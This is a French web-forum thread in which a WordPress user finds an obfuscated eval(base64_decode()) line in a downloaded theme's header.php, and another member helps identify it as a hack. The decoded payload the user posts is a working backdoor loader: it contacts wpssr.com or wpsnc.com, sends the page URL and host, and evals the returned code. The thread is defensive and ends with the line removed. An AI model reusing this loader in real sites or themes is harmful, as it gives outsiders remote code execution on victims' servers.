Soucis Chmod ?

Résolu
Yaninho Messages postés 484 Date d'inscription   Statut Membre Dernière intervention   -  
Yaninho Messages postés 484 Date d'inscription   Statut Membre Dernière intervention   -
Bonjour,

Aujourd'hui, j'arrive sur mon site et un message d'avertissement est apparu. Après quelques recherches, j'ai lu que cela pouvait venir d'un problème de droit pouvez vous m'aider ?

Voici le message :
Warning: fclose(): supplied argument is not a valid stream resource in ......


La ligne en question est la suivante:
<?php eval(base64_decode('une série de chiffres et de lettres')) ?>


Merci

4 réponses

P@t@ch0n Messages postés 565 Date d'inscription   Statut Membre Dernière intervention   85
 
Cela n'a rien à voir avec les droits.

Et cela ne vient pas non plus de cette ligne.
Il sert à quoi ton eval() ?
0
Yaninho Messages postés 484 Date d'inscription   Statut Membre Dernière intervention   63
 
C'est une bonne question. Je m'explique. C'est un blog fonctionnant sous wordpress, avec un template, cette ligne est par défaut dans le header.php...
0
P@t@ch0n Messages postés 565 Date d'inscription   Statut Membre Dernière intervention   85
 
D'accord, j'ai compris, même si je déteste ce genre de truc.

Pour débuguer, tu devrais faire un echo de base64_decode('une série de chiffres et de lettres') juste un avant la ligne de l'eval.
0
Yaninho Messages postés 484 Date d'inscription   Statut Membre Dernière intervention   63
 
Et voici le résultat.....Superbe non ? J'ai un peu indenté quand même.

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) 

$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; 

elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) 

$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; 

else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; 

@eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); 

if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { 

$RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; 
$R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); 

$R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); 

}
 else { 

$RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); 

@readfile($R6E4F14B335243BE656C65E3ED9E1B115); 

} 
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);
0
P@t@ch0n Messages postés 565 Date d'inscription   Statut Membre Dernière intervention   85
 
Tiens trouvé sur google...
http://209.85.229.132/search?q=cache:2Wv8dAReZdMJ:www.astucesdewebmaster.com/tag/wordpress+www.wpsnc.com&cd=1&hl=fr&ct=clnk&gl=fr

Vire cette ligne d'urgence, et vire ce thème en meme temps.
0
Yaninho Messages postés 484 Date d'inscription   Statut Membre Dernière intervention   63
 
Merci bcp, en effet, ligne virée, message disparu.

Je viens de regarder tous les fichiers du thèmes, il n'y a pas d'autre ligne de ce genre. Merci pour la recherche, ;) je ferais plus attention à l'avenir!

Merci encore ;)
0
P@t@ch0n Messages postés 565 Date d'inscription   Statut Membre Dernière intervention   85
 
télécharge des thèmes uniquement à partir du site officiel de l'application, le reste comme tu peux le constater n'est pas fiable ;)

Heureusement que leur site est out, sinon, tu n'aurais pas pu voir que ton site était hacké.
0
Yaninho Messages postés 484 Date d'inscription   Statut Membre Dernière intervention   63
 
Effectivement ;) Merci et bonne continuation.
0